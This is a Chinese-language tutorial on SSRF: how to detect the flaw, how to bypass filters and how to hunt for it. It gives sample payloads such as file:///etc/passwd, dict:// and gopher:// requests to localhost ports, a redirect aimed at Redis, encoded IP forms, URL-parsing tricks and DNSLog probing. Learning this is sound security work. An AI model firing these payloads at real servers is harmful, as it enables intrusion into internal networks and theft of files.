1. 什么是SSRF漏洞?
服务器通常比你(外网用户)有更高的权限。 它可以访问内网数据库、内网管理后台、云服务器的元数据接口......这些都是你直接访问不到的(因为有防火墙)。
SSRF 的本质 : 你给服务器一个 URL,欺骗服务器去访问这个 URL。 因为请求是从服务器内部发出的,防火墙一看是自己人,于是你就能通过服务器,探测和攻击内网。判断SSRF漏洞是否存在的重要前提是:请求一定是服务端发起的,以上链接即使存在也不一定代表这个请求是服务端发起的。因此前提不满足的情况下,不需要考虑SSRF。
判断 SSRF 的黄金准则 只有一条: 请求到底是谁发起的?
客户端发起(假 SSRF)
如果后端代码只是给了浏览器一个 302 跳转指令,或者是前端 JS 的 window.location,那是你的浏览器 去访问目标。你访问内网 127.0.0.1,浏览器会连你自己电脑的端口,根本没经过服务器。这没用。
服务端发起(真 SSRF)
只有当后端代码使用了 curl、file_get_contents、Java HttpClient 等函数,由服务器的 CPU 和网卡去建立 TCP 连接获取数据,再回显给你,这才是 SSRF。
2. 漏洞检测
假设一个漏洞场景:某网站有一个在线加载功能可以把指定的远程图片加载到本地,功能链接如下:
http://www.aaa.com/load.php?image=http://www.bbb.com/1.jpg
那么网站请求的大致步骤: 用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前 端显示。
这个过程中可能出现问题的点就在于访问请求发送到服务端的时候,图片加载请求是由服务端去加载的,而系统没有校验前端给定的参数是不是允许访问的地址域名,例如,上述链接可以修改为:
http://www.xxx.com/load.php?image=http://127.0.0.1:22
上述请求一旦获取响应,可能返回请求端口banner。如果协议允许,甚至可以使用其他协议来读取和执 行相关命令。例如:
http://www.xxx.com/load.php?image=file:///etc/passwd
http://www.xxx.com/load.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端
口请求data data2)
http://www.xxx.com/load.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据
test,同样可以发送POST请求)
3. 漏洞绕过
3.1 URL 解析差异
场景 :限制域名必须是白名单(如 www.xxx.com)。 原理 :利用 PHP 的 parse_url() 和底层 libcurl 对 URL 理解的分歧。
-
Payload :
http://www.aaa.com@www.bbb.com@www.ccc.com -
绕过逻辑:
-
PHP (安检员) :看到最后面的
@www.ccc.com,认为是白名单,放行。 -
Libcurl (跑腿员) :实际请求时,把请求发给了前面的
www.bbb.com(恶意服务器)。
-
3.2 IP 进制转换
场景 :黑名单禁止访问 127.0.0.1。 原理:系统底层网络库支持多种 IP 格式,但正则匹配通常只认点分十进制。
-
Payload 变体:
-
八进制 :
0177.0.0.1(注意 0 开头) -
十六进制 :
0x7F000001 -
十进制整数 :
2130706433(浏览器和 Ping 都认!) -
混合写法 :
127.0.0.0x1
-
-
结果 :正则看不懂这些"乱码"于是放行,但系统底层完美解析回
127.0.0.1。
3.2 短网址与 302 跳转
限制必须是 http 协议且非内网 IP。
-
Payload :生成一个短网址
http://t.cn/xxx或者http://985.so/xxx。 -
攻击流程:
-
服务器检查短网址:是公网域名,通过。
-
服务器请求短网址,收到 302 跳转 响应。
-
服务器自动 跟随跳转到
gopher://127.0.0.1:6379/...或内网 IP,直捣黄龙。
-
3.4 。绕过
严格过滤 . 符号
Payload :127。0。0。1 (使用中文句号)
4. 挖掘SSRF漏洞
SSRF 不像 SQL 注入那么明显,它往往藏在一些不起眼的功能点里:
-
敏感参数 :盯着 URL 里的关键字,如
share=(分享)、wap=(转码)、url=、image=(图片加载)、src=。 -
无回显探测(Blind SSRF) : 有时候你输入 URL,页面没变化。这时候要用 DNSLog。
-
发送
url=http://你的子域名.dnslog.cn。 -
如果你在 DNSLog 后台看到了来自目标服务器 IP 的解析记录,实锤了!
-
-
验证逻辑: 在自己的 VPS 上开个 HTTP 服务,让目标来连,看 Access Log 的 User-Agent 和来源 IP,这是最直接的证据。